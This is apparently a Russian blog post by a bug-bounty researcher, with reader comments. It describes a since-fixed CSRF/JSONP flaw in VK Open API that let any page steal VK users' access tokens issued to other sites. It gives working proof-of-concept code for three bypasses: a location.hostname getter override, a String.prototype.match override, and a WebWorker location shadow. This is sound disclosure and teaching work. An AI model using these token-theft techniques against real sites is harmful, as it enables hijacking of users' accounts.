CSRF-уязвимость VK Open Api, позволяющая получать Access Token’ы сторонних сайтов, использующих авторизацию через VK

Представляю вашему вниманию обзор уязвимости, связанной с неправильным применением JSONP в VK Open Api. На мой взгляд, уязвимость достаточно серьёзная, т.к. позволяла сайту злоумышленника получать Access Token другого сайта, если на нём используется авторизация через библиотеку VK Open API. На данный момент уязвимый код поправили, репорт на HackerOne закрыли, вознаграждение выплатили (1,500$).

Как это выглядело


В принципе, процесс получения пользовательского Access Token'а страницей злоумышленника происходил по стандартной схеме эксплуатации CSRF-уязвимости:

  1. Пользователь заходит на сайт, использующий библиотеку VK Open API (например, www.another-test-domain.com).
  2. Авторизуется там через VK.
  3. Потом заходит на сайт злоумышленника (например, www.vk-test-auth.com), который, эксплуатируя уязвимость, получает Access Token, принадлежащий сайту www.another-test-domain.com.
  4. Получив Access Token пользователя, злоумышленник может обращаться к VK API с теми правами, который пользователь дал сайту www.another-test-domain.com при авторизации на нем через VK.

Демонстрация


На видео показано, как страница «злоумышленника» на домене www.vk-test-auth.com получает Access Token пользователя VK, который авторизовался на сайте www.another-test-domain.com, несмотря на то, что в настройках приложения VK, доступ разрешён только для домена www.another-test-domain.com.



Конечно, домены я не регистрировал, т.к. в данном случае это не играет никакой роли. Когда записывался скринкаст, они были прописаны в hosts.

Немного о VK Open API


Выдержка из официальной документации:
Open API — система для разработчиков сторонних сайтов, которая предоставляет возможность легко авторизовывать пользователей ВКонтакте на Вашем сайте. Кроме этого, с согласия пользователей, вы сможете получить доступ к информации об их друзьях, фотографиях, аудиозаписях, видеороликах и прочих данных ВКонтакте для более глубокой интеграции с Вашим проектом.

Т.е. это JS библиотека, позволяющая работать с VK API (авторизация, вызов методов API, вроде 'wall.post', 'audio.get', 'video.add', etc...) прямо со страницы вашего сайта. Для того, чтобы использовать эту библиотеку, необходимо создать VK-приложение с типом «Веб-сайт», указать домен в настройках, и разместить пару тегов script на странице.

Подключение библиотеки


Пример подключения и инициализации библиотеки:

<script src="//vk.com/js/api/openapi.js" type="text/javascript"></script>
<script type="text/javascript">
  VK.init({
    apiId: ВАШ_APP_ID
  });
</script>

Естественно, в параметре appId можно указать только ID VK-приложения, в настройках которого «Базовый домен» совпадает с доменом страницы, на котором мы подключаем библиотеку.

Наша страница может обращаться к методам VK API после того, как пользователь во всплывающем окне разрешит VK-приложению доступ к своему профилю. Для того, чтобы показать это всплывающее окно, нужно вызвать метод VK.Auth.login(). И после того, как разрешение получено, можно обращаться к VK API. Важное замечание: если пользователь однажды предоставил приложению доступ к своему профилю, то даже после перезагрузки страницы его разрешение остается в силе: не нужно каждый раз вызывать VK.Auth.login(). Для того, чтобы определить, нужно ли просить пользователя предоставить сайту (точнее, VK-приложению сайта) доступ к своему профилю, можно использовать следующий код:

VK.Auth.getLoginStatus(function(resp) { 
	if (resp.session) { 
		// Пользователь уже предоставил доступ к своему профилю.
		// Можно спокойно работать с VK API.  
	} else { 
		// Нужно просить пользователя предоставить доступ,
		// и только после его согласия работать с VK API.
 		VK.Auth.login(...);
	} 
}); 

Если при вызове VK.init() указать ID чужого приложения, домен которого не совпадает с доменом страницы, на котором запускается библиотека – ничего работать не должно (даже функция-callback, переданная в getLoginStatus() не будет вызвана).

Небольшая оговорка: оказывается, этот запрет можно обойти. Для того, чтобы было понятнее, вкратце расскажу, как работает проверка «авторизованности» пользователя в VK-приложении.

Принцип проверки авторизации пользователя


Для работы с VK API из JS-кода веб-страницы, используется метод VK.Api.call(), например:

// Получение информации о текущем пользователе
VK.Api.call('users.get', {}, function(result) {
	var user;
	if (result.response) {
		user = result.response[0];
		alert('Здравствуйте, ' + user.first_name + ' ' + user.last_name + '!');
	}
}); 

При первом вызове метода VK.Api.call(), библиотека обращается на бекенд VK за Access Token'ом. Для этого, внутри VK.Api.call() вызывается метод VK.Auth.getLoginStatus(), через который библиотека и получает этот токен (конечно, если только пользователь ранее предоставил доступ сайту к своему профилю). После того, как токен удалось получить, происходит запрос к API и получение ответа от сервера. Уязвимость кроется в способе получения и способе обработки ответа сервера в методе VK.Auth.getLoginStatus(). Всему виной JSONP, вернее, его некорректное применение.

Порочный JSONP


Давайте подробнее рассмотрим работу метода VK.Auth.getLoginStatus(). Для того, чтобы получить Access Token, делается JSONP-запрос на следующий URL:

https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456


Параметры:

  • aid – ID приложения
  • location – домен, с которого выполняется запрос
  • rnd – ID callback-функции (ведь это JSONP)

Если в запросе по URL, приведённом выше, домен в HTTP Referrer совпадает с доменом, который был указан в настройках VK-приложения, или если HTTP Referrer не передавать совсем (!) – то получаем такой ответ:

/* <html><script>window.location='http://vk.com';</script></html> */
if (location.hostname != 'www.example.com') {
	window.location.href = 'http://vk.com/oauth';
	for (;;);
} else {
	VK.Auth.lsCb[456]({
		"auth": true,
		"access_token": "5ea11111d799a53236f5d3eff5d34bcd2dda0f9e6a7aaf743f7d26d3487456f6ce8d5e1ff82eaa6f7b04a",
		"expire": 1436755095,
		"time": 7200,
		"sig": "12d254526496a6db2af6bed2eb1dd3e7",
		"secret": "oauth",
		"user": {
			"id": "%ID_страницы%",
			"domain": "%имя_страницы%",
			"href": "https:\/\/vk.com\/%имя_или_id_страницы%",
			"first_name": "%имя%",
			"last_name": "%фамилия%",
			"nickname": ""
		}
	});
}

Важно: При JSONP-запросе на вышеуказанный URL, браузер также отправляет куки пользователя. Поэтому, сервер знает, от имени какого пользователя VK делается запрос, и строит ответ исходя из этой информации.

Как я уже говорил раннее, ответом является JS-код, в котором следующая логика: если домен текущей страницы (location.hostname) равен домену, указанному в настройках приложения – вызываем функцию VK.Auth.lsCb[%значение_параметра_rnd%](), и в качестве первого аргумента передаём объект с Access Token'ом, иначе – перенаправляем пользователя на http://vk.com/oauth. Зачем? Это такая защита. Т.к. если бы домен, указанный в настройках VK-приложения не сверялся с location.hostname, то любой мог бы разместить у себя на сайте следующий код:

<script>
var VK = {
	Auth: {
		lsCb: {
			456: function (data) {
				// В объекте data находится Access Token (data.access_token)
				// и информация о текущем пользователе (data.user)
			}	
		}
	}
}
</script>
<script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456">

И таким образом получать Access Token (а вместе с этим и доступ к профилю) каждого пользователя, посетившего страницу злоумышленника, если этот пользователь предоставил сайту, использующему VK Open API, доступ к своему профилю (в примере выше, это www.example.com). Злоумышленнику остаётся лишь скрыть HTTP Referrer страницы, с которой делается запрос – это достаточно просто.

Итак, защита вроде бы работает, сверка текущего location.hostname с доменом VK-приложения ограничивает доступ посторонним к Access Token, но… в JavaScript есть геттеры/сеттеры, а у браузеров свои особенности/странности реализации стандартного окружения JS (BOM).

Эксплуатация уязвимости


Тогда я решил проверить, а что если определить для location.hostname геттер, который будет всегда возвращать строку "www.example.com"? Быстро проверив свою догадку в консоли, и убедившись, что этот хак на тот момент работал:

// Работает в Chrome-подобных браузерах младше 42-й версии, и всём, что на нём основано:
// Yandex.Browser, Opera (WebKit), Android Chrome, etc…
// На момент написания этого кода, актуальной была ~41 версия Хрома.
// Работало потому, что поле hostname объекта location являлось configurable-полем.
location.__defineGetter__('hostname', function () {
	return 'какая-то строка';
});

console.log(location.hostname); // 'какая-то строка'

Решил попробовать обмануть проверку домена так:

<script>
var VK = {
	Auth: {
		lsCb: {
			// Этот метод будет вызван после получения и выполнения JSONP-ответа от сервера VK
			456: function (data) {
				alert(data.access_token);
			}
				
		}
	}
};

location.__defineGetter__('hostname', function () {return 'www.example.com'});
</script>
<script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456">

Но появляется другая проблема – HTTP Refferer. Ведь с запросом по URL https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456 будет также передаваться HTTP Refferer страницы, и если домен этой страницы не совпадает с доменом, указанным в настройках VK-приложения, мы получим редирект на https://vk.com/js/api/openapi_error.js, в котором следующий код:

try{console.log('open api access error');}catch(e){}

Но! Как я уже писал выше, если HTTP Refferer не передать совсем, то мы получим нормальный ответ. Я думаю, так было сделано по двум причинам:

  1. HTTP Refferer может передаваться не всегда.
  2. Вероятно это сделано для того, чтобы обеспечить работу VK Open API на страницах, у которых нет своего глобального URL (т.е. адрес страницы как-бы есть, но доступен только для вашего браузера, например Data URL, ObjectURL или страница настроек какого-нибудь браузерного расширения).

Один из способов скрыть HTTP Refferer – разместить на странице iframe, в src у которого будет Data URL, а в нём код другой страницы, в которой:

  1. Подменяется location.hostname.
  2. Объявляется функция-получатель Access Token'а ( VK.Auth.lsCb[456]()).
  3. Размещается
    <script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456">
    , который, собственно, и загружает ответ от сервера c вызовом JSONP-функции VK.Auth.lsCb[456]().

Эту страницу можно было разместить на любом домене, или просто открыть в браузере даже без веб-сервера, и она отображала Access Token и данные пользователя, если он авторизовался через VK на сайте, использующем VK Open API. Для успешной эксплуатации уязвимости, нужно было лишь указать в запросе ID приложения (параметр aid) и домен сайта, к которому привязано приложение (параметр location).

Как эта страничка выглядела:

<!doctype html>
<html>
<head>
	<title>Уязвимость VK JS Api</title>
	<meta charset="utf-8">
	<style>
		body,html {
			margin:0;
			padding:0;
			width:100%;
			height:100%;
		}
	</style>
</head>
<body>
	<iframe 
		src="data:text/html;charset=utf-8,%контент_закодированной_страницы%"
		style="width:100%;height:100%;border:0" />
</body>
</html>

Приблизительно так выглядел %контент_закодированной_страницы% в iframe:

<!doctype html>
<html>
<body>
<script>
	// Уязвимость эксплуатируется потому, что мы можем подменить значение location.hostname
	window.location.__defineGetter__('hostname', function () {return 'www.example.com'});

	var VK = {
		Auth: {
			lsCb:{
				456: function (data) {
					
					// Если в ответе есть access_token, значит пользователь авторизован
					if (data.access_token) {
						// Занесение имени, фамилии, ID и Access Token'a пользователя
						// в элементы на странице.
					} else {
						// Отображение просьбы перейти на сайт www.example.com, авторизоваться там
						// и перезагрузить эту страницу.
					}
					
				}
			}
		}
	};
</script>

<!--
	В параметре aid мог быть ID любого VK-приложения типа "Веб-сайт", и если пользователь 
	предоставил сайту-жертве доступ к своему профилю VK, то код, описанный выше, успешно получал 
	Access Token и мог свободно обращаться к VK API.
 -->
<script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456"></script>

</body>
</html>

Запаковав этот пример в архив, я написал в VK, и отправил им этот архив. Через пару дней уязвимость исправили. Точнее, после исправления уязвимость стала ещё серьёзнее. Если она раньше эксплуатировалась из-за особенности браузеров на WebKit, и то до ~42 версии Google Chrome, то теперь, она эксплуатировалась на всех браузерах, более-менее поддерживающих JavaScript. Знатоки JS, попробуйте догадаться по коду, размещённому ниже, почему всё стало ещё хуже? Учтите, что там для получения текущего домена используется не поле hostname (которое является конфигурируемым), а href, которое НЕ является конфигурируемым, и соответственно, для которого нельзя задать геттер, возвращающий нужное нам значение.

Ответ от сервера, после первого исправления уязвимости:

/* <html><script>window.location='http://vk.com';</script></html> */
if (!location.href.match(/https?:\/\/www\.mysite\.com\//)) {
    window.location.href = 'http://vk.com/oauth';
    for (;;);
} else {
    VK.Auth.lsCb[456]({
        "auth": true,
        "access_token": "5ea11111d799a53236f5d3eff5d34bcd2dda0f9e6a7aaf743f7d26d3487456f6ce8d5e1ff82eaa6f7b04a",
        "expire": 1436755095,
        "time": 7200,
        "sig": "12d254526496a6db2af6bed2eb1dd3e7",
        "secret": "oauth",
        "user": {
            "id": "%ID_страницы%",
            "domain": "%имя_страницы%",
            "href": "https:\/\/vk.com\/%имя_или_id_страницы%",
            "first_name": "%имя%",
            "last_name": "%фамилия%",
            "nickname": ""
        }
    });
}

Самое очевидное – незаякоренное регулярное выражение, и… я это заметил только во время подготовки статьи. Можно было просто построить URL страницы, эксплуатирующей уязвимость так, чтобы в ней присутствовала подстрока совпадающая с регулярным выражением, и всё бы заработало, правда, до тех пор, пока в регулярку не добавят якорь "^". Но ведь подмена браузерного окружения JS интереснее!

Так вот, подменить тут можно стандартный метод match() из прототипа String. Его нужно подменить так, чтобы он возвращал true, если первый аргумент равен регулярному выражению "/https?:\/\/www\.mysite\.com\//", при этом неважно, что находится в строке-получателе вызова метода match(). Доработав демо, я отправил обновлённую версию демонстрации уязвимости в VK.

Как и в прошлый раз, это была страница с iframe, в src которого был Data URL:

<!doctype html>
<html>
<body>
<script>
	var VK = {
		Auth: {
			lsCb:{
				456: function (data) {
					if (data.access_token) {
						App.ready = true;
						App.access_token = data.access_token;
						App.first_name = data.user.first_name;
						App.last_name = data.user.last_name;
						App.user_id = data.user.id;
					}
					App.init();
				}
			}
		}
	},
	App = {
		_original_match_method: String.prototype.match,

		_restoreOriginalMatch: function () {
			String.prototype.match = this._original_match_method;
		},

		init: function () {
			// Восстановление оригинального String.prototype.match()
			this._restoreOriginalMatch();

			if (this.ready) {
				// Занесение имени, фамилии, ID и Access Token'a пользователя
				// в элементы на странице.
			} else {
				// Отображение просьбы перейти на сайт www.example.com, авторизоваться там
				// через VK и перезагрузить эту страницу.
			}
		}
	};

	// Добиваемся такого поведения:
	// 'any string'.match(/https?:\/\/www\.mysite\.com\//) // true
	// 'any string'.match(/.*/) // ['any string']
	(function () {
		var original_match = String.prototype.match;
		String.prototype.match = function () {
			// Знаю, что можно было сделать проверку по-другому, но тогда почему-то сделал так.
			return arguments[0] == '/https?:\\/\\/www\\.mysite\\.com\\//' ? true : original_match.apply(this, arguments);
		}
	})();
</script>
<script src="https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456"></script>

</body>
</html>

Отправив всё это я стал ждать.

Переход на новый уровень: WebWorkers


Через некоторое время после того, как я отправил последнее демо, уязвимость исправили. И снова, я решил попробовать разобраться, как именно исправили уязвимость.

Как и раньше, для получения Access Token'а пользователя делался JSONP-запрос на сервер VK, и в ответе была всё та же сверка текущего домена с доменом приложения VK:

/* <html><script>window.location='http://vk.com';</script></html> */
if (
	location.href !== 
		(location.protocol == 'https:' ? 'https' : 'http') 
		+ '://www.example.com' 
		+ (location.port ? ':' + location.port : '') 
		+ '/' + location.pathname.slice(1) 
		+ location.search + location.hash
) {
	window.location.href = 'http://vk.com/oauth';
	for (;;);
} else {
	VK.Auth.lsCb[456]({
		"auth": true,
		"access_token": "512aae7f9e9070f3bbb1600b934238546e4567892q2fj29739242e2b66521da110fdf5nmj9fee6ce8",
		"expire": 1438739486,
		"time": 7200,
		"sig": "53aa7a11c2431d96v8765e1b3c7q2c22",
		"secret": "oauth",
		"user": {
			"id": "%ID_страницы%",
			"domain": "%имя_страницы%",
			"href": "https:\/\/vk.com\/%имя_или_id_страницы%",
			"first_name": "%имя%",
			"last_name": "%фамилия%",
			"nickname": ""
		}
    });
}

Проверка кажется безупречной, т.к. для получения текущего домена используется НЕ конфигурируемое поле location.href (т.е. на него нельзя навесить getter/setter). Сколько не пробуй, кажется, в окружении UI-потока браузера (там, где глобальным объектом является window) location не подменить… Но у нас ведь ещё есть окружение WebWorker'a! Проверив свою догадку, стало понятно, что в окружении Worker'a (DedicatedWorkerGlobalScope) поле location объекта self можно просто накрыть объектом с полями href, hostname и др. Почему? Всё просто: объект location находится не в самом объекте self, а в его прототипе, таким образом, инструкция var location = {}; выполненная в глобальной области видимости Worker'a, или Object.defineProperty(self, 'location', {value: ... }) просто перекрывают location из прототипа объекта self (т.е. добавляет объекту self собственное поле location). Таким образом, код, который будет подгружен через self.importScripts() при обращении к location, получит наш объект, а не оригинальный. Кстати, в UI-окружении браузера такой трюк не пройдёт: там объект location реализован как собственное поле объекта window, которое ничем не перекроешь.

Небольшой пример, как это работает:

<!doctype html>
<html>
<head>
	<title>Workers</title>
	<meta charset="utf-8" /> 	
</head>
<body>

<script>
(function () {
	var worker,
	// Этот код будет выполняться в отдельном потоке, в окружении Worker'а.
	// Для того, чтобы получить код в в виде текста, 
	// объявляем анонимную функцию и получаем её строковое представление.
	worker_code = (function () {

		// Затираем оригинальный location
		var location = {
			// URL страницы, которую мы эмулируем
			href: 'http://www.example.com/',
			search: '',
			hash: '',
			pathname: ''
		},
		VK = {
			Auth: {
				lsCb: {
					// Объявляем функцию-приемник объекта с access_token'ом
					456: function (data) {
						// Отправляем UI-потоку полученный объект
						self.postMessage(data);
					}
				}
			}
		};

		// Загружаем скрипт с Access Token'ом пользователя (куки тут тоже передаются).
		// По счастливой случайности, где-то с 42-й версии Chrome, с запросом в importScripts()
		// не посылается Refferer, если в конструктор Worker'у передать ObjectURL,
		// вместо пути к файлу. Так что referrer с запросом ниже не отправляется, благодаря чему
		// мы получаем валидный ответ от VK.
		importScripts('https://login.vk.com/?act=openapi&oauth=1&aid=1234567&location=www.example.com&rnd=456');
			
	}).toString();
	
	// Удаляем из кода функции подстроку "function () {" в начале, и "}" в конце
 	worker_code = worker_code.substring(worker_code.indexOf('{') + 1, worker_code.length - 1);

	worker = new Worker(
		// Благодаря ObjectURL, можем обойтись без отдельного файла с кодом для Worker'a
		URL.createObjectURL(
			new Blob([worker_code], {type: 'application/javascript'})
		)
	);

	worker.addEventListener('message', function (e) {
		if (e.data.auth) {
			alert(e.data.access_token);
		} else {
			alert('Авторизуйтесь через VK на сайте www.example.com и перезагрузите эту страницу');
		}
	}, false);
}());

</script>
</body>
</html>

Таким образом, у нас есть возможность подменять JS API покруче, чем в UI-потоке. Оформив всё это «по-интересному», я стал ждать ответа. Через некоторое время уязвимый код в openapi.js поправили. Теперь для получения Access Token'а, библиотека делает кроссдоменный запрос на backend VK с использованием технологии Cross-origin resource sharing.

По-интересному


После отправки первых двух демо, мне показалось, что как-то неправильно реализовывать демо в виде простого отображения пользователю Access Token'a… И после недолгих раздумий, я решил сделать патч для библиотеки VK Open API (http://vk.com/js/api/openapi.js) так, чтобы она сама умела пользоваться уязвимостью.

Что в итоге получилось:

<!doctype html>
<html>
<head>	
	<!-- Подключаем VK Open Api -->
	<script src="http://vk.com/js/api/openapi.js"></script>

	<!-- 
		Подключаем патч, который добавляет к стандартному openapi.js возможность обращаться к VK API
		от имени приложения, которое привязано к другому домену.
		Т.е. если этот файл не подключить, уязвимость эксплуатироваться не будет. КЭП.
	 -->
	<script src="vk_opanapi_insecure_patch.js"></script>	
</head>
<body>
<script>
VK.init({
	// Стандартный параметр - ID VK приложения
	apiId: 1234567,
	
	// В файле vk_opanapi_insecure_patch.js, библиотека openapi.js модифицируется так,
	// что JSONP-запрос на получение Access Token'а делается в окружении Worker'a,
	// который имитирует UI-поток страницы с доменом из этого параметра.
	appDomain: 'www.example.com'
});

// После инициализации библиотеки с нестандартным параметром "appDomain", 
// можно обращаться к методам API как будто приложение с ID "1234567" является нашим, 
// и мы находимся на странице с доменом "www.example.com".
VK.Api.call('users.get', {}, function(r) { 
  if(r.response) { 
    alert('Текущий пользователь: ' + r.response[0].first_name + ' ' + r.response[0].last_name); 
  } 
}); 
</script>
</body>
</html>

Ссылка на архив.

Выводы


Порой инструмент, которым пользуешься на протяжении долгого времени, преподносит сюрпризы. Иногда в виде серьёзных уязвимостей. Однако есть общее правило: никогда не передавайте через JSONP конфиденциальные данные. Даже когда код валидации получателя JSONP-ответа кажется безупречным, выясняется, что можно подменить браузерное окружение JS (BOM) так, что вся проверка перед передачей токена коду страницы сводится на нет. Вообще, пора отказываться от JSONP в пользу CORS.

В этой публикации, я ни в коем случае не хотел выставить разработчиков VK Open API в нехорошем свете. Наоборот: ребята молодцы, разрабатывают крутой сервис, на крутых технологиях с отличной документацией и службой поддержки. А ошибиться может каждый. Основная причина, по которой я таки решился на написание статьи — это желание предостеречь веб-разработчиков от подобных ошибок.

В принципе, это всё. Я планировал описать суть уязвимости в нескольких абзацах, однако после написания каждого абзаца меня не покидало чувство недосказанности. Так и получилась эта пелена текста.

Благодарю за внимание!
Поделиться публикацией
Похожие публикации
AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее
Реклама
Комментарии 17
  • –8
    Спасибо! Интересно!
    • +4
      Вы забыли «Автору плюс, добавил в избранное!», как можно! =)
    • 0
      Любопытно, благодарю.
      Но у меня смутные сомнения — или я что-то пропустил, или изначальный подход к авторизации порочен.

      Возьмем как это сделано в одном нашем проекте — токен авторизации получается методом вызываемым на стороне сервера партнера, который подписывается его секретным ключем. Сайт партнера сам передает данный код в браузер пользователя. Данный токен доступен только в окружении той страницы, и я право не вижу путей его утечки.
      Да, у нас несколько другой функционал, и нам не нужно авторизовывать пользователя, это делает за нас партнер отражая это в данных при получении токена, но я не вижу принципиальной разницы. ИД партнера авторизуется закрытой серверной стороной, ИД пользователя через браузер, например куками.
      Вроде как стандартная практика, нет?
      Я давно не игрался с ВК.АПИ, я зарекся иметь с ними дело после того как они пару раз без предварительных предупреждений поменяли правила, и выкинули меня из клуба, потому что у меня нет приложения. (вроде как наличие приложения это фильтр базовых знаний, а то что приложение удалили по причине изменения правил ведь не должно отражаться на моих способностях, не?).
      Но суть не в том. Я помню у них тоже были «секьюрные» методы, на которые они жирно писали, что исполнять их можно только на сервере чтобы не светить свои авторизации в браузер.
      Повторюсь, что я могу ошибаться, но не понимаю ЗАЧЕМ? Приложения без браузера и сайта соответственно? Ну так опять таки, им не нужно знать мои авторизации или же они всё равно будут дергать мой АПИ, где всё равно можно делать действия на стороне сервера…
      Что я не так понимаю?
      • –2
        «Но! Как я уже писал выше, если HTTP Refferer не передать совсем, то мы получим нормальный ответ. Я думаю, так было сделано по двум причинам:» – это сделано потому, что refferer не передается для https сайтов
        • +1
          C https на https — передается.
        • +2
          Вопрос: вы три-четыре раза находили ошибки в исправленных уязвимостях. Вам все три раза оплачивали по $1500? Или только за самую последнюю? Что вообще пишут VK по поводу этих ошибок?
          • +1
            После последнего исправления.
            Я так понимаю, эта выплата была сразу за всё :)
            • +5
              Это не очень справедливо. По-хорошему за каждую демку должны были заплатить. Тем более уязвимость довольно серьезная.
              • 0
                По-хорошему за каждую демку должны были заплатить.

                Согласен

                Тем более уязвимость довольно серьезная.

                Не согласен. Для полноценной эксплуатации этой уязвимости, надо заранее знать, каким приложениям пользователь дал разрешение на использование своей страницы. Конечно, можно протыкаться по списку самых популярных APP_ID, но не факт, что пользователь подписан на них.
                Остается второй вариант — как-то следить за списками пользователей, которые подписаны на других сайтах, парсить и хранить эту информацию, чтобы потом, когда пользователь наконец зайдет на твой фишинговый сайт — произвести эксплуатацию…

                Опять же, насколько я понял: личная переписка от этого не вскрывается, доступ к закрытым фоткам/документам не получается, максимум- можно от имени пользователя делать посты на стене пользователя, т.е. как вариант — можно насолить какому-нибудь конкуренту, если ты знаешь, что есть пользователи, которые подписаны на него.
                • 0
                  Можно попробовать не собирать предварительно, а на момент входа проверить.
                  Если знать APP_ID приложения, которое на сайте используется, то можно своим пользователем залогиниться в это приложение, и вызвать метод VK API users.isAppUser, с параметром user_id, полученным из куков. Не знаю, правда, насколько быстро можно провернуть такую проверку.
          • 0
            > Теперь для получения Access Token'а, библиотека делает кроссдоменный запрос
            А как же старые браузеры, где не поддерживаются кроссдоменные запросы?
          • +1
            А на два мои репорта на Hackerone VK почти месяц не отвечают, до сих пор в статусе «New» — видимо, Ваш баг исправляли)
            • +2
              Видимо так и было)
              Ещё один мой репорт к VK на Hackerone тоже уже давненько ждёт закрытия. Наберёмся же терпения :)
            • +1
              поле location объекта self можно просто накрыть объектом с полями href, hostname и др. Почему? Всё просто: объект location находится не в самом объекте self, а в его прототипе

              Всегда интересно было, откуда у вебхакеров такие знания берутся? Чтобы стало «всё просто», надо код браузера Хром выучить?
              • +2
                Всё просто — хочешь найти пульт от телевизора — думай как пульт, или как минимум как телевизор.
                Тщательное изучение исходников это полезно, но не всегда, и не достаточно.
                Нужно понимать логику. Логику принятия решений, и тогда не нужно будет знать код.
                Веб-разработчик который написал свой MVC-велосипед на полсотни классов, пару лет подерживал, после чего еще год мигрировал всё это на популярный фреймворк — очень быстро освоит любой фреймворк, и ему не нужно будет часто заглядывать в код фреймворка, чтобы понять что и как работает. Он это УЖЕ ДЕЛАЛ.
                Помню одна большая контора слизала один в один мой сервис. Просто посмотрели на интерфейс и сделали такой же.
                Так я рассказывал их пользователям об особенностях работы их сервиса (на их форуме) потому что мне было прекрасно понятно что и как они сделали. Также как и они половину нетривиальной логики поняли просто по интерфейсу. Часто когда есть опыт, то ты понимаешь почему сделали так а не иначе… Это в интерфейсе, особенно в хорошем делают сначала интерфейс, а потом думают как это реализовывать. В более технических вещах внутренности видны даже просто по описанию. Не все конечно. И при атаке особенно на удаленные вещи всё решает эксперимент. Но предположения берутся из опыта…

              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.